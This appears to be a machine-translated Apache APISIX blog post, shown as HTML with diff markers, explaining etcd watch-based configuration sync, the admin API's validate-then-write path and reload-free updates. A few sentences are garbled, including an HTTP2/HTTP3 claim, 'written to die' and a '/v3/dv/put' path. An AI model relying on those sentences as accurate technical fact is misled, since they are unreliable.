+<p>So to summarize, Apache APISIX inserts <code>_automatic_fetch</code> into the timer via the <code>ngx.timer.at</code> function during the startup of each Nginx worker process. The <code>_automatic_fetch</code> function receives notifications of configuration changes in etcd through the <code>sync_data</code> function, based on a watch mechanism, so that each Nginx node and worker process will be kept up to date with the latest configuration. This design also has one obvious advantage: [...]
+<h3 id="http11-protocol-for-the-lua-resty-etcd-library">HTTP/1.1 protocol for the lua-resty-etcd library</h3>
+<p>How exactly does the <code>sync_data</code> function get the configuration change messages from etcd? Let’s look at the <code>sync_data</code> source code.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#FF7B72">local</span><span style="color:#E6EDF3"> etcd </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"resty.etcd"</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#E6EDF3">etcd_cli, err </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> etcd.</span><span style="color:#79C0FF">new</span><span style="color:#E6EDF3">(etcd_conf)</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72">local</span><span style="color:#FF7B72"> function</span><span style="color:#D2A8FF"> sync_data</span><span style="color:#E6EDF3">(self)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> dir_res, err </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> waitdir</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">etcd_cli</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">key</sp [...]
+<span class="line"><span style="color:#FF7B72">end</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72">local</span><span style="color:#FF7B72"> function</span><span style="color:#D2A8FF"> waitdir</span><span style="color:#E6EDF3">(etcd_cli, key, modified_index, timeout)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> res_func, func_err, http_cli </span><span style="color:#FF7B72">=</span><span style="color:#FFA657"> etcd_cli</span><span style="color:#E6EDF3">:</span><span style="color:#79C0FF">watchdir</span><span style="color:#E6EDF3">(key, opts)</span></span>
+<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> http_cli </span><span style="color:#FF7B72">then</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> res_cancel, err_cancel </span><span style="color:#FF7B72">=</span><span style="color:#FFA657"> etcd_cli</span><span style="color:#E6EDF3">:</span><span style="color:#79C0FF">watchcancel</span><span style="color:#E6EDF3">(http_cli)</span></span>
+<span class="line"><span style="color:#FF7B72"> end</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span></code></pre>
+<p>The actual communication with etcd here is the <a href="https://github.com/api7/lua-resty-etcd">lua-resty-etcd</a> library. It provides the watchdir function to receive notifications from etcd when it finds a change in the value of the key directory.</p>
+<p>And what does the watchcancel function do? This is actually the result of a deficiency in the OpenResty ecosystem. etcd v3 already supports the efficient gRPC protocol (the underlying HTTP2 protocol). As you may have heard, HTTP2 not only has the ability to multiplex, but also supports direct server pushing of messages from the HTTP3 protocol against HTTP2: !</p>
+<p><img src="https://static.apiseven.com/202108/1631170499370-57a7c452-e97e-4ac0-b7bf-073e13946a21.png" alt="http2_stream_frame_conn"></p>
+<p>However, Lua Eco does not currently support the HTTP2 protocol, so the lua-resty-etcd library actually communicates with etcd via the inefficient HTTP/1.1 protocol, and therefore receives /watch notifications via /v3/watch requests with timeouts. This phenomenon is actually caused by two things.</p>
+<ol>
+<li>Nginx positions itself as an edge load balancer, so the upstream must be the corporate intranet, which has low latency and high bandwidth, so it does not need to support the HTTP2 protocol for the upstream protocol
+The HTTP2 protocol is very complex, and there is no HTTP2 cosocket library available for production environments.</li>
+</ol>
+<p>The lua-resty-etcd library using HTTP/1.1 is actually very inefficient, and if you capture packets on APISIX, you will see frequent POST messages with a URI of /v3/watch and a Base64-encoded watch directory with a body of</p>
+<p><img src="https://static.apiseven.com/202108/1631170602368-d105d014-efe4-48c7-93b8-be5447c76a70.jpeg" alt="APISIX communicates with etcd over HTTP1"></p>
+<p>We can verify the implementation details of the <code>watchdir</code> function.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#8B949E">-- lib/resty/etcd/v3.lua 文件</span></span>
+<span class="line"><span style="color:#FF7B72">function</span><span style="color:#D2A8FF"> _M</span><span style="color:#E6EDF3">.</span><span style="color:#D2A8FF">watchdir</span><span style="color:#E6EDF3">(self, key, opts)</span></span>
+<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> watch</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">, key, attr)</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72">local</span><span style="color:#FF7B72"> function</span><span style="color:#D2A8FF"> watch</span><span style="color:#E6EDF3">(self, key, attr)</span></span>
+<span class="line"><span style="color:#E6EDF3"> callback_fun, err, http_cli </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> request_chunk</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">'POST'</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">'/watch'</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> opts, attr.</span><span style="color:#79C0FF">timeout</span><span style="color:#FF7B72"> or</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">timeout</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#E6EDF3"> callback_fun</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72">local</span><span style="color:#FF7B72"> function</span><span style="color:#D2A8FF"> request_chunk</span><span style="color:#E6EDF3">(self, method, path, opts, timeout)</span></span>
+<span class="line"><span style="color:#E6EDF3"> http_cli, err </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> utils.</span><span style="color:#79C0FF">http</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">new</span><span style="color:#E6EDF3">()</span></span>
+<span class="line"><span style="color:#8B949E"> -- 发起 TCP 连接</span></span>
+<span class="line"><span style="color:#E6EDF3"> endpoint, err </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> http_request_chunk</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">, http_cli)</span></span>
+<span class="line"><span style="color:#8B949E"> -- 发送 HTTP 请求</span></span>
+<span class="line"><span style="color:#E6EDF3"> res, err </span><span style="color:#FF7B72">=</span><span style="color:#FFA657"> http_cli</span><span style="color:#E6EDF3">:</span><span style="color:#79C0FF">request</span><span style="color:#E6EDF3">({</span></span>
+<span class="line"><span style="color:#E6EDF3"> method </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> method,</span></span>
+<span class="line"><span style="color:#E6EDF3"> path </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> endpoint.</span><span style="color:#79C0FF">api_prefix</span><span style="color:#FF7B72"> ..</span><span style="color:#E6EDF3"> path,</span></span>
+<span class="line"><span style="color:#E6EDF3"> body </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> body,</span></span>
+<span class="line"><span style="color:#E6EDF3"> query </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> query,</span></span>
+<span class="line"><span style="color:#E6EDF3"> headers </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> headers,</span></span>
+<span class="line"><span style="color:#E6EDF3"> })</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72">local</span><span style="color:#FF7B72"> function</span><span style="color:#D2A8FF"> http_request_chunk</span><span style="color:#E6EDF3">(self, http_cli)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> endpoint, err </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> choose_endpoint</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#E6EDF3"> ok, err </span><span style="color:#FF7B72">=</span><span style="color:#FFA657"> http_cli</span><span style="color:#E6EDF3">:</span><span style="color:#79C0FF">connect</span><span style="color:#E6EDF3">({</span></span>
+<span class="line"><span style="color:#E6EDF3"> scheme </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> endpoint.</span><span style="color:#79C0FF">scheme</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> host </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> endpoint.</span><span style="color:#79C0FF">host</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> port </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> endpoint.</span><span style="color:#79C0FF">port</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> ssl_verify </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">ssl_verify</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> ssl_cert_path </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">ssl_cert_path</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> ssl_key_path </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">ssl_key_path</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> })</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#E6EDF3"> endpoint, err</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span></code></pre>
+<p>As you can see, Apache APISIX makes sure that each worker process contains the latest configuration by <strong>repeatedly requesting etcd through the <code>ngx.timer.at</code> and lua-resty-etcd libraries in each worker process.</strong></p>
+<h2 id="apisix-configuration-and-plugin-remote-changes">APISIX configuration and plugin remote changes</h2>
+<p>Next, let’s look at how to remotely modify the configuration in etcd.</p>
+<p>We can of course modify the contents of the corresponding key in etcd directly through the gRPC interface, and then make the Nginx cluster automatically update its configuration based on the watch mechanism described above. However, this is risky because the configuration request is not verified, and the configuration data does not match the Nginx cluster.</p>
+<h3 id="modifying-configuration-via-nginxs-apisixadmin-interface">Modifying configuration via Nginx’s /apisix/admin/ interface</h3>
+<p>Apache APISIX provides a mechanism to access any one Nginx node, verify the request with Lua code in its worker process, and then write it to etcd through the /v3/dv/put interface. Let’s take a look at how Apache APISIX does this.</p>
+<p>First, the nginx.conf generated by make run automatically listens on port 9080 (as modified by the apisix.node_listen configuration in config.yaml), and when <code>apisix.enable_admin</code> is set to true, nginx.conf will generate the following configuration.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#A5D6FF">server {</span></span>
+<span class="line"><span style="color:#A5D6FF"> listen 9080 default_server reuseport;</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#A5D6FF"> location/apisix/admin {</span></span>
+<span class="line"><span style="color:#A5D6FF"> content_by_lua_block {</span></span>
+<span class="line"><span style="color:#A5D6FF"> apisix.http_admin()</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span>
+<span class="line"></span></code></pre>
+<p>Thus, the /apisix/admin requests received by Nginx will be processed by the <code>http_admin</code> function.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#8B949E">-- /apisix/init.lua file</span></span>
+<span class="line"><span style="color:#FF7B72">function</span><span style="color:#D2A8FF"> _M</span><span style="color:#E6EDF3">.</span><span style="color:#D2A8FF">http_admin</span><span style="color:#E6EDF3">()</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> ok </span><span style="color:#FF7B72">=</span><span style="color:#FFA657"> router</span><span style="color:#E6EDF3">:</span><span style="color:#79C0FF">dispatch</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">get_var</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"uri"</span><span style="color:#E6EDF3">), {method </span><span style="color:#FF7B72">=</sp [...]
+<span class="line"><span style="color:#FF7B72">end</span></span></code></pre>
+<p>See the <a href="https://github.com/apache/apisix/blob/release/2.8/docs/zh/latest/admin-api.md">GitHub</a> documentation for APIs that the admin interface can handle, where when the method method differs from the URI, the dispatch performs different handler functions based on the following.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#8B949E">-- /apisix/admin/init.lua file</span></span>
+<span class="line"><span style="color:#FF7B72">local</span><span style="color:#E6EDF3"> uri_route </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> paths </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> [[/apisix/admin/*]]</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> methods </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> { </span><span style="color:#A5D6FF">"GET"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"PUT"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"POST"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"DELETE"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"PATCH"< [...]
+<span class="line"><span style="color:#E6EDF3"> handler </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> run,</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> paths </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> [[/apisix/admin/stream_routes/*]]</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> methods </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> {</span><span style="color:#A5D6FF">"GET"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"PUT"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"POST"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"DELETE"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"PATCH"</ [...]
+<span class="line"><span style="color:#E6EDF3"> handler </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> run_stream,</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> paths </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> [[/apisix/admin/plugins/list]]</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> methods </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> {</span><span style="color:#A5D6FF">"GET"</span><span style="color:#E6EDF3">},</span></span>
+<span class="line"><span style="color:#E6EDF3"> handler </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> get_plugins_list,</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> paths </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> reload_event,</span></span>
+<span class="line"><span style="color:#E6EDF3"> methods </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> {</span><span style="color:#A5D6FF">"PUT"</span><span style="color:#E6EDF3">},</span></span>
+<span class="line"><span style="color:#E6EDF3"> handler </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> post_reload_plugins,</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>For example, when creating 1 Upstream via /apisix/admin/upstreams/1 and the PUT method.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> "http://127.0.0.1:9080/apisix/admin/upstreams/1"</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><sp [...]
+<span class="line"><span style="color:#A5D6FF">> {</span></span>
+<span class="line"><span style="color:#A5D6FF">> "type": "roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF">> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF">> "httpbin.org:80": 1</span></span>
+<span class="line"><span style="color:#A5D6FF">> }</span></span>
+<span class="line"><span style="color:#A5D6FF">> }</span></span>
+<span class="line"><span style="color:#A5D6FF">{"action":"set","node":{"key":"\/apisix\/upstreams\/1","value":{"hash_on":"vars","nodes":{"httpbin.org:80":1},"create_time":1627982128,"update_time":1627982128,"scheme":"http","type":"roundrobin","pass_host":"pass","id":"1"}}}'</span></span></code></pre>
+<p>You will see the following log in error.log (to see this line, you must set the nginx_config.error_log_level in config.yaml to INFO)</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">2021/08/03 17:15:28 [info] 16437#16437</span><span style="color:#E6EDF3">: </span><span style="color:#FF7B72">*</span><span style="color:#E6EDF3">23572 [</span><span style="color:#A5D6FF">lua</span><span style="color:#E6EDF3">] </span><span style="color:#7EE787">init.lua:130</span><span style=" [...]
+<p>This line is actually printed by the <code>run</code> function in /apisix/admin/init.lua, which is executed based on the uri_route dictionary above. Let’s look at the contents of the run function.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#8B949E">-- /apisix/admin/init.lua文件</span></span>
+<span class="line"><span style="color:#FF7B72">local</span><span style="color:#FF7B72"> function</span><span style="color:#D2A8FF"> run</span><span style="color:#E6EDF3">()</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> uri_segs </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> core.</span><span style="color:#79C0FF">utils</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">split_uri</span><span style="color:#E6EDF3">(ngx.</span><span style="color:#79C0FF">var</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">uri</span><span style="color:#E6EDF3">)</span [...]
+<span class="line"><span style="color:#E6EDF3"> core.</span><span style="color:#79C0FF">log</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">info</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"uri: "</span><span style="color:#E6EDF3">, core.</span><span style="color:#79C0FF">json</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">delay_encode</span><span style="color:#E6EDF3">(uri_segs))</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> seg_res, seg_id </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> uri_segs[</span><span style="color:#79C0FF">4</span><span style="color:#E6EDF3">], uri_segs[</span><span style="color:#79C0FF">5</span><span style="color:#E6EDF3">]</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> seg_sub_path </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> core.</span><span style="color:#79C0FF">table</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">concat</span><span style="color:#E6EDF3">(uri_segs, </span><span style="color:#A5D6FF">"/"</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">6</span><span style="color:#E6EDF3">) [...]
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> resource </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> resources[seg_res]</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> code, data </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> resource[method](seg_id, req_body, seg_sub_path,</span></span>
+<span class="line"><span style="color:#E6EDF3"> uri_args)</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span></code></pre>
+<p>这里 <code>resource[method]</code> 函数又被做了 1 次抽象,它是由 resources 字典决定的:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#8B949E">-- /apisix/admin/init.lua文件</span></span>
+<span class="line"><span style="color:#FF7B72">local</span><span style="color:#E6EDF3"> resources </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> routes </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.routes"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3"> services </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.services"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3"> upstreams </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.upstreams"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3"> consumers </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.consumers"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3"> schema </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.schema"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3"> ssl </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.ssl"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3"> plugins </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.plugins"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3"> proto </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.proto"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3"> global_rules </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.global_rules"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3"> stream_routes </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.stream_routes"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3"> plugin_metadata </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.plugin_metadata"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3"> plugin_configs </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> require</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"apisix.admin.plugin_config"</span><span style="color:#E6EDF3">),</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>Therefore, the above curl request will be processed by the <code>put</code> function in the /apisix/admin/upstreams.lua file, see the implementation of the <code>put</code> function as follows:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#8B949E">-- /apisix/admin/upstreams.lua file</span></span>
+<span class="line"><span style="color:#FF7B72">function</span><span style="color:#D2A8FF"> _M</span><span style="color:#E6EDF3">.</span><span style="color:#D2A8FF">put</span><span style="color:#E6EDF3">(id, conf)</span></span>
+<span class="line"><span style="color:#8B949E"> -- check the legitimacy of the requested data</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> id, err </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> check_conf</span><span style="color:#E6EDF3">(id, conf, </span><span style="color:#79C0FF">true</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> key </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "/upstreams/" </span><span style="color:#FF7B72">..</span><span style="color:#E6EDF3"> id</span></span>
+<span class="line"><span style="color:#E6EDF3"> core.</span><span style="color:#79C0FF">log</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">info</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"key: "</span><span style="color:#E6EDF3">, key)</span></span>
+<span class="line"><span style="color:#8B949E"> -- Generate configuration data in etcd</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> ok, err </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> utils.</span><span style="color:#79C0FF">inject_conf_with_prev_conf</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">"upstream"</span><span style="color:#E6EDF3">, key, conf)</span></span>
+<span class="line"><span style="color:#8B949E"> -- write to etcd</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> res, err </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> core.</span><span style="color:#79C0FF">etcd</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">set</span><span style="color:#E6EDF3">(key, conf)</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#8B949E">-- /apisix/core/etcd.lua</span></span>
+<span class="line"><span style="color:#FF7B72">local</span><span style="color:#FF7B72"> function</span><span style="color:#D2A8FF"> set</span><span style="color:#E6EDF3">(key, value, ttl)</span></span>
+<span class="line"><span style="color:#FF7B72"> local</span><span style="color:#E6EDF3"> res, err </span><span style="color:#FF7B72">=</span><span style="color:#FFA657"> etcd_cli</span><span style="color:#E6EDF3">:</span><span style="color:#79C0FF">set</span><span style="color:#E6EDF3">(prefix </span><span style="color:#79C0FF">...</span><span style="color:#E6EDF3"> key, value, {prev_kv </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> true</span><span style="col [...]
+<span class="line"><span style="color:#FF7B72">end</span></span></code></pre>
+<p>The new configuration is eventually written to etcd. As you can see, Nginx verifies the data before writing it to etcd, so that other worker processes and Nginx nodes will receive the correct configuration through the watch mechanism. You can verify this process with the logs in error.log.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">2021/08/03 17:15:28 [info] 16437#16437</span><span style="color:#E6EDF3">: </span><span style="color:#FF7B72">*</span><span style="color:#E6EDF3">23572 [</span><span style="color:#A5D6FF">lua</span><span style="color:#E6EDF3">] </span><span style="color:#7EE787">upstreams.lua:72</span><span sty [...]
+<h3 id="why-the-new-configuration-works-without-reload">Why the new configuration works without reload</h3>
+<p>Let’s look at how the Nginx worker process takes effect immediately after the admin request is executed.</p>
+<p>The open source version of Nginx matches requests based on three different containers.</p>
+<ol>
+<li>
+<p>The <code>server_name</code> configuration in the static hash table is matched to the requested <code>Host</code> domain name</p>
+</li>
+<li>
+<p>Next, the location in the static Trie prefix tree is configured to match the requested URI</p>
+<p><img src="https://static.apiseven.com/202108/1631170657240-31bb3ff3-ee3b-4831-99ff-77cab1d6e298.png" alt="Matching process for location prefix tree 2"></p>
+</li>
+<li>
+<p>In both of these processes, if there are regular expressions, they are matched in order based on the order of the arrays (the order they appear in nginx.conf).</p>
+</li>
+</ol>
+<p>Although these procedures are very efficient, they are written to die in the find_config phase and in the Nginx HTTP framework, and changes must be made after nginx -s reload to take effect. For this reason, Apache APISIX has abandoned this process altogether.</p>
+<p>As you can see in nginx.conf, requests to any domain name, URI, or domain name will match the <code>http_access_phase</code> lua function.</p>
